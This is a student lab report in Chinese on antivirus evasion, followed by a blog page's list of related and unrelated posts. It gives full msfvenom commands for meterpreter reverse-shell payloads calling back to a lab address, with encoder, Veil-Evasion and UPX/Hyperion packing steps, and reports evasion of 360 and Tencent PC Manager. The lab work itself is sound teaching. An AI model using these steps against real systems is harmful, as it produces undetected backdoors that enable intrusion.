2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践
2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践
1 免杀原理与实验内容
1.1 免杀原理
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
1.2 实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。
任务二:通过组合应用各种技术实现恶意代码免杀。
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
2 基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含一段特征码就是一段或多段数据则被认为是恶意代码。
基于行为的恶意软件检测:指通用的、多特征的、非精确的扫描,如果一个可执行文件存在非授权的操作,那么就把它认定为恶意的。
(2)免杀是做什么?
- 免杀就是让安插的后门不被AV软件发现。
(3)免杀的基本方法有哪些?
- 通过改变特征码:
- 对于EXE文件进行加壳处理(压缩壳、加密壳)。
- 对于shellcode,用基于payload重新编译生成可执行文件或用encode进行编码。
- 对于源代码,用其他语言进行重写再编译(veil-evasion)。
- 通过改变行为:
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
3 实验步骤
3.1 使用msf编码器,msfvenom生成如jar之类的文件
- 实验二中使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。 用VirusTotal扫描后结果如下图。

结果显示告诉我们后门程序如果不加处理,绝大多数杀软很快就可以识别出来。
输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.26.133 LPORT=5209 -f exe > test.exe对后门程序进行10次编码尝试降低检出率。再次使用VirusTotal扫描,结果如下,没有任何变化。

- 输入
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.26.133 lport=5209 x> test2.jar生成jar文件进行测试。 - 输入
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.26.133 lport=5209 x> test3.php生成PHP文件进行测试。 - 输入
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.26.133 LPORT=5209 -f raw > shell.jsp生成jsp文件并伪装名字成shell,进行测试。



3.2 veil-evasion
安装步骤参考安装免杀工具Veil-Evasion然而我没有在自己的虚拟机中安装成功,崩了虚拟机之后拷了其他同学的。
输入
veil进入veil的界面,再输入use evasion进入Evil-Evasion。

- 输入
use c/meterpreter/rev_tcp.py进入配置界面。 - 输入
set LHOST 192.168.26.133设置反弹连接。 - 输入
set LPORT 5209设置端口号。 - 输入
generate生成文件。 - 输入
09_c_txtplayload的名字。

3.2 使用shellcode编程
- 输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.133 LPORT=5209 -f c生成一段c语言格式的shellcode数组。 - 将生成的shellcode写成函数并进行调用。
- 输入
sudo apt-get install mingw-w64下载编译软件,输入i686-w64-mingw32-g++ 09scode.c -o 09scode.exe。 - 检测结果如下。

3.3 加壳
- 压缩壳:输入
upx 09scode.exe -o 09scode.upxed.exe尝试对上面的shellcode加壳,并进行检测,结果如下。


- 加密壳:将生成upx文件拷贝到/usr/share/windows-binaries/hyperion/目录中并进入,输入
wine hyperion.exe -v 09scode.upxed.exe shell09.exe进行加壳,检测结果如下。


3.4 通过组合应用各种技术实现恶意代码免杀
- 采用C语言调用bloxor编码的shellcode方式免杀成功并可以回连
- 被控主机:win10
- 扫描软件:360安全卫士11.5
- 输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.26.133 LPORT=5209 -f c生成shellcode。 - 在win10中查杀结果如下。

3.5 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
- 实验环境:win7虚拟机,腾讯电脑管家13.0.版本。
- 结果如下。


4. 离实战还缺些什么技术或步骤?
- 对免杀的知识了解还不够多,只是能够利用软件生成简单的恶意代码并对其进行加壳;伪装手法还是很低级,没有办法真正的攻入一台电脑并不被其发现。
5. 实践总结与体会
实验中还是很容易出现虚拟机崩盘的情况的,也被杀毒软件搞到有点难受,但是情况总比办法多。通过这次实验让我更加的体会到虽然安装了杀毒软件,但其也不万能的。
2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- Unity3D如何有效地组织代码?(转)
问题: Unity3D可以说是高度的Component-Based Architecture,同时它的库提供了大量的全局变量.如何来组织代码呢? 答: - Unity有一些自身的约定,譬如项目里的Ed ...
- 算法学习之冒泡排序的C实现
冒泡排序是属于比较类的排序方式,简单易懂,但是效率不是很高,不及快排. #include "stdio.h" #include "time.h" void bu ...
- php下载文件,解压文件,读取并写入新文件
以下代码都是本人在工作中遇到的问题,并完成的具体代码和注释,不多说,直接上代码: <?php //组织链接 $dataurl = "http://118.194.2 ...
- linux下git命令
1.初始化: 方式一.git clone,将远程的Git版本库,克隆到本地一份. 方式二.git init和git remote 2.git pull:将其他版本库代码更新到本地.例如:git pul ...
- Linux下pip使用国内源
pip国内的一些镜像 阿里云 http://mirrors.aliyun.com/pypi/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/si ...
- 一次使用Python连接数据库生成二维码并安装为windows服务的工作任务
最近有一个需求,在现有生产系统上的人员库中增加一个此人员关键信息的二维码,支持文字版和跳转版两种方式,与报表工具关联,可打印.以windows服务方式,定时检查,只要发现某人员没有此二维码信息,就生成 ...
- 【紫书】Rails UVA - 514 栈
题意:判断出栈顺序是否合法 题解:两个指针,A指向入栈序列,B指向出栈. 的分三种情况:if 1.A==B :直接入栈加出栈即可A++,B++ else 2.和栈顶相同,直接出栈A==stac ...
- Oracle体系结构之控制文件管理
控制文件作用:记录了数据库的结构和行为,有多少个数据文件,日志文件及其位置名称,状态,维护数据库的一致性,即记录了数据库的启动SCN号和终止SCN号. 控制文件的位置和个数记录在参数文件中,通常控制文 ...
- Copying and Cloning Objects
PHP Advanced and Object-OrientedProgrammingVisual Quickpro GuideLarry Ullman class someClass { publi ...
- Python面试基础篇
1. 为什什么学习Python? Life is short, You need Python 2. 通过什什么途径学习的Python? pass 3. Python和Java.PHP.C.C#.C+ ...